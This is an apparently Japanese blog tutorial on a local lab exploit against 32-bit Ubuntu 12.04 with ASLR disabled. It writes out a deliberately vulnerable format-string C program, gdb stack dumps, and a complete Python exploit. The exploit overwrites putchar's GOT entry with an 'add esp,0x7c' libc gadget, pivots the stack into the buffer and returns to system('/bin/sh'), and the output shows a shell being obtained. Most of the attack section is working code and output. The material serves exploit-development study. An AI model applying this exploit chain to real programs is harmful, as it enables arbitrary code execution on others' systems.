GOT overwriteとStack pivotによるDEP回避(add esp型)

一つ前のエントリではヒープオーバーフローを利用したGOT overwriteを行い、ジャンプ時eaxレジスタにバッファのアドレスが入っていることを利用することによりStack pivotを行った。 しかし、そのようなライブラリ関数呼び出しが見つからない場合もありうる。 この場合xchg esp,eaxのような形のROP gadgetは使えないが、代わりにadd esp,[some constant]の形のgadgetを使うことでスタックの頭を自分がコントロール可能なバッファの中に移すことができる場合がある。 ここでは、add esp,[some constant]の形のgadgetを使ったStack pivotを行い、Return-to-libcに繋げることによるシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

xchg esp,eaxの形のStack pivotが使えない例として、次のようなformat string attackが可能なコードを用意する。

/* fsb.c */
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[100];
    printf("[+] buf = %p\n", buf);
    strncpy(buf, argv[1], 100);
    printf(buf);
    putchar('\n');
    return 0;
}

ASLR無効、DEPSSP有効でコンパイル・実行し、format string attackが可能であることを確認する。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc fsb.c
fsb.c: In function ‘main’:
fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security]

$ ./a.out 'AAAA%10$x'
[+] buf = 0xbffff738
AAAA41414141

ライブラリ関数呼び出し時のスタックの状態を調べてみる

一つ前のエントリと同じように、まずはgdbを使ってputchar関数呼び出し前のレジスタの値を調べてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   ...
   0x080484ec <+88>:    lea    eax,[esp+0x28]
   0x080484f0 <+92>:    mov    DWORD PTR [esp],eax
   0x080484f3 <+95>:    call   0x8048380 <printf@plt>
   0x080484f8 <+100>:   mov    DWORD PTR [esp],0xa
   0x080484ff <+107>:   call   0x80483c0 <putchar@plt>
   ...
End of assembler dump.
(gdb) b *main+107
Breakpoint 1 at 0x80484ff
(gdb) run AAAA
Starting program: /home/user/tmp/a.out AAAA
[+] buf = 0xbffff708

Breakpoint 1, 0x080484ff in main ()
(gdb) i r
eax            0x4      4
ecx            0x0      0
edx            0x0      0
ebx            0xb7fd0ff4       -1208152076
esp            0xbffff6e0       0xbffff6e0
ebp            0xbffff778       0xbffff778
esi            0x0      0
edi            0x0      0
eip            0x80484ff        0x80484ff <main+107>
eflags         0x286    [ PF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

前回と異なり、バッファのアドレス(0xbffff708)が入っているレジスタはないことがわかる。 そこで、このままさらにスタックの状態を調べてみる。

(gdb) x/100wx $esp
0xbffff6e0:     0x0000000a      0xbffff93c      0x00000064      0xb7ec3b19
0xbffff6f0:     0xbffff72f      0xbffff72e      0x00000000      0xbffff814
0xbffff700:     0xbffff7b4      0x00000000      0x41414141      0x00000000
0xbffff710:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff720:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff730:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff740:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff750:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff760:     0x00000000      0x00000000      0x00000000      0xf96fd600
0xbffff770:     0x08048520      0x00000000      0x00000000      0xb7e444d3
...
(gdb) quit
A debugging session is active.

        Inferior 1 [process 1230] will be killed.

Quit anyway? (y or n) y

上の結果から、espは0xbffff6e0であり、その10ワード先の0xbffff708から100バイト分のバッファが確保されていることがわかる。

今回の場合について、ROPのエントリにて使ったlist_gadgets.pyを用いてlibcのROP gadgetを調べてみると、次のようなgadgetが存在することがわかる。

$ python list_gadgets.py /lib/i386-linux-gnu/libc.so.6 > gadgets.txt

$ cat gadgets.txt | grep add | grep esp
   ...
   2db98:       add    esp,0x7c
   ...

GOT overwriteの書き換え先としてこのgadgetを利用すると、ジャンプした後espレジスタの値が0x7cだけずれる。 そして、これはちょうど確保されたバッファの後半部分になる。 つまり、0x7cずれたespレジスタの指す部分にReturn-to-libcのスタックレイアウトを用意しておけば、それを実行させることができる。

エクスプロイトコードを書いてみる

上の説明をもとに、format string attackによりputchar関数のGOTアドレスをadd esp,0x7cを指すアドレスに書き換え、Return-to-libcに繋ぐエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen

base_libc = int(sys.argv[1], 16)
index = int(sys.argv[2])

addr_got_putchar = 0x804a010                  # objdump -d -j.plt a.out
addr_libc_system = base_libc + 0x0003f430     # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
addr_libc_exit = base_libc + 0x00032fb0       # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " exit"
addr_libc_binsh = base_libc + 0x161d98        # strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
addr_libc_lift_7c = base_libc + 0x2db98       # search "add esp" by list_gadgets.py
addr_libc_ret = base_libc + 0x16f8b           # objdump -d /lib/i386-linux-gnu/libc.so.6 | grep ret | head

buf = struct.pack('<I', addr_got_putchar)
buf += struct.pack('<I', addr_got_putchar+1)
buf += struct.pack('<I', addr_got_putchar+2)
buf += struct.pack('<I', addr_got_putchar+3)

a = map(ord, struct.pack('<I', addr_libc_lift_7c))
a[3] = ((a[3]-a[2]-1) % 0x100) + 1
a[2] = ((a[2]-a[1]-1) % 0x100) + 1
a[1] = ((a[1]-a[0]-1) % 0x100) + 1
a[0] = ((a[0]-len(buf)-1) % 0x100) + 1

buf += "%%%dc%%%d$hhn" % (a[0], index)
buf += "%%%dc%%%d$hhn" % (a[1], index+1)
buf += "%%%dc%%%d$hhn" % (a[2], index+2)
buf += "%%%dc%%%d$hhn" % (a[3], index+3)

buf += 'A' * (4 - len(buf)%4)                # alignment
buf += struct.pack('<I', addr_libc_ret) * 4  # ROP NOPs
buf += struct.pack('<I', addr_libc_system)
buf += struct.pack('<I', addr_libc_exit)
buf += struct.pack('<I', addr_libc_binsh)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

このコードは、libcのベースアドレス、フォーマット文字列までのオフセットを順に引数に取る。 また、Return-to-libcにおいてはsystem関数から/bin/shを呼び出し、その後exit関数が実行されるようにしている。 ここで、ずれたespが指す部分からsystem関数までうまく流れていくよう、いくつかretを指すアドレスを並べておくとよい。 これは、通常のプログラム実行におけるNOP命令と同じような働きをし、ROP NOPなどと呼ばれる。

gdbでlibcのベースアドレス、実行ファイルを実行してフォーマット文字列へのオフセットを調べ、それらを引数にセットしてエクスプロイトコードを実行してみる。

$ python exploit.py 0xb7e2c000 10
[+] buf = 0xbffff6e8
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$
(snip)

DEPが有効な実行ファイルに対し、Stack pivotからのReturn-to-libcによりシェルが起動できていることが確認できた。

実際にespがずれた先がどのようになっているかについて、gdbで調べてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/esplift/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   ...
   0x080484ff <+107>:   call   0x80483c0 <putchar@plt>
   ...
End of assembler dump.
(gdb) b *main+107
Breakpoint 1 at 0x80484ff
(gdb) run $(cat buf)
Starting program: /home/user/tmp/esplift/a.out $(cat buf)
[+] buf = 0xbffff6a8

Breakpoint 1, 0x080484ff in main ()
(gdb) disp/i $pc
1: x/i $pc
=> 0x80484ff <main+107>:        call   0x80483c0 <putchar@plt>
(gdb) si
0x080483c0 in putchar@plt ()
1: x/i $pc
=> 0x80483c0 <putchar@plt>:     jmp    DWORD PTR ds:0x804a010
(gdb)
0xb7e59b98 in modfl () from /lib/i386-linux-gnu/libc.so.6
1: x/i $pc
=> 0xb7e59b98 <modfl+136>:      add    esp,0x7c
(gdb) x/100wx $esp
0xbffff67c:     0x08048504      0x0000000a      0xbffff8ea      0x00000064
0xbffff68c:     0xb7ec4b19      0xbffff6cf      0xbffff6ce      0x00000000
0xbffff69c:     0xbffff7b4      0xbffff754      0x00000000      0x0804a010
0xbffff6ac:     0x0804a011      0x0804a012      0x0804a013      0x36333125
0xbffff6bc:     0x30312563      0x6e686824      0x25633325      0x68243131
0xbffff6cc:     0x37256e68      0x31256334      0x68682432      0x3132256e
0xbffff6dc:     0x31256330      0x68682433      0x4141416e      0xb7e42f8b
0xbffff6ec:     0xb7e42f8b      0xb7e42f8b      0xb7e42f8b      0xb7e6b430
0xbffff6fc:     0xb7e5efb0      0xb7f8dd98      0x00000000      0x00000000
0xbffff70c:     0x47a91000      0x08048520      0x00000000      0x00000000
...
(gdb) si
0xb7e59b9b in modfl () from /lib/i386-linux-gnu/libc.so.6
1: x/i $pc
=> 0xb7e59b9b <modfl+139>:      ret
(gdb) x/100wx $esp
0xbffff6f8:     0xb7e6b430      0xb7e5efb0      0xb7f8dd98      0x00000000
0xbffff708:     0x00000000      0x47a91000      0x08048520      0x00000000
...
(gdb) si
0xb7e6b430 in system () from /lib/i386-linux-gnu/libc.so.6
1: x/i $pc
=> 0xb7e6b430 <system>: sub    esp,0x1c
(gdb) quit
A debugging session is active.

        Inferior 1 [process 21520] will be killed.

Quit anyway? (y or n) y

0xbffff67c + 0x7c = 0xbffff6f8で、たまたまsystem関数のアドレスが入っている部分にスタックの頭が移動していることがわかる。

関連リンク